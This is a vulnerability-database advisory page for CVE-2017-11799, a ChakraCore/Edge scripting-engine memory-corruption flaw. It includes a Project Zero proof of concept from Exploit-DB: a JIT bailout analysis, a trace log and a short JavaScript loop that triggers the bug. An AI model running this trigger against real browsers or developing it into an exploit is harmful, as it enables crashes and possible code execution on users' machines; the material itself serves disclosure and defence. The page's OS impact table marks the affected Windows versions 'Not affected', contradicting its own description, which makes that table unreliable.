CVE-2017-11799

high
Published 2017-10-13 · Modified 2026-05-13
CVSS v3
7.5
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS v4 NEW
not yet in upstream
VIR risk
8.5

Description

ChakraCore and Microsoft Edge in Microsoft Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an attacker to execute arbitrary code in the context of the current user, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11792, CVE-2017-11793, CVE-2017-11796, CVE-2017-11797, CVE-2017-11798, CVE-2017-11800, CVE-2017-11801, CVE-2017-11802, CVE-2017-11804, CVE-2017-11805, CVE-2017-11806, CVE-2017-11807, CVE-2017-11808, CVE-2017-11809, CVE-2017-11810, CVE-2017-11811, CVE-2017-11812, and CVE-2017-11821.

Predictions

Exploit likelihood
83%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42998 dos windows verified text · 4 KB
Google Security Research · 2017-10-17

Microsoft Edge Chakra JIT - Incorrect GenerateBailOut Calling Patterns

text exploit Source: Exploit-DB
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1333

Bailout:
"ChakraCore’s background JIT compiler generates highly optimized JIT’ed code based upon the data and infers likely usage patterns based on the profile data collected by the interpreter. Given the dynamic nature of JavaScript code, if the code gets executed in a way that breaks the profile assumptions, the JIT’ed code “bails out” to the interpreter where the slower bytecode execution restarts while continuing to collect more profile data."

From https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview



One of the ways to generate bailouts in Chakra is to directly change the opcode of an instruction that can't be JITed. This is performed by the method "Lowerer::GenerateBailOut".


Here's a snippet of Lowerer::GenerateBailOut.
    ...
    // Call the bail out wrapper
    instr->m_opcode = Js::OpCode::Call;
    if(instr->GetDst())
    {
        // To facilitate register allocation, don't assign a destination. The result will anyway go into the return register,
        // but the register allocator does not need to kill that register for the call.
        instr->FreeDst();
    }
    instr->SetSrc1(IR::HelperCallOpnd::New(helperMethod, this->m_func));
    m_lowererMD.LowerCall(instr, 0);

Here's some calling patterns of the method.

1.
instr->FreeSrc1();
instr->FreeSrc2();
this->GenerateBailOut(instr);

2.
stElem->FreeSrc1();
stElem->FreeDst();
GenerateBailOut(stElem, nullptr, nullptr);

Judging from the method code that doesn't care about "Src2" and the calling patterns, freeing or unlinking "Src1" and "Src2" is up to the callers. I could spot some points that don't free or unlink an instuction's "Src2", despite the instruction has "Src2". In these cases, it ends up to be converted to "Js::OpCode::Call" with "Src2". So, what happens if a Call instruction has "Src2"?

Here's the trace log of the PoC.
$L13: [helper]
                                                                                
    s51<-48>        =  MOV            s51(r13)                                  4C 89 6D D0 
    (rdi).u64       =  MOV            0xXXXXXXXX (BailOutRecord).u64            48 BF 78 23 00 7C 17 7F 00 00 
    (rax).u64       =  MOV            SaveAllRegistersAndBailOut.u64            48 B8 20 92 19 93 1F 7F 00 00 
                       CALL           (rax).u64, s51(r13)                       49 FF C5 
                       JMP            $L14                                      E9 00 00 00 00 
                       StatementBoundary  #-1                                   


"CALL  (rax).u64, s51(r13)" is what Chakra wanted to generate(despite CALLs don't take the second operand). "49 FF C5" is x86-64 code actually generated and disassembled as "inc r13". This also means there's a bug in the x86-64 assembler.


PoC bug:
The following buggy method is used to convert a St*Fld instruction to a bailout. Unlike just "StFld" instructions, "StSuperFld" instructions take "Src2" as "this". So the following method should have freed "Src2".

bool
Lowerer::GenerateStFldWithCachedType(IR::Instr *instrStFld, bool* continueAsHelperOut, IR::LabelInstr** labelHelperOut, IR::RegOpnd** typeOpndOut)
{
    ...
        instrStFld->m_opcode = Js::OpCode::BailOut;
        instrStFld->FreeSrc1();
        <<----------- should call FreeSrc2
        instrStFld->FreeDst();

        this->GenerateBailOut(instrStFld);
    ...
}

PoC:
*/

class MyClass {
    constructor() {
        this.arr = [1, 2, 3];
    }

    f() {
        super.arr = [1];
        this.x;  // for passing BackwardPass::DeadStoreTypeCheckBailOut ?
    }
}

let c = new MyClass();
for (let i = 0; i < 0x10000; i++) {
    c.f();
}

OS impact

windows Windows Fixed 5 releases
VersionStatusFixed in
1703 Not affected
1607 Not affected
1511 Not affected
- Not affected
Not affected

Application impact

VendorProductVersionsFixed
windows microsoftchakracore{"endIncluding":"1.7.2"}
windows microsoftedge

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.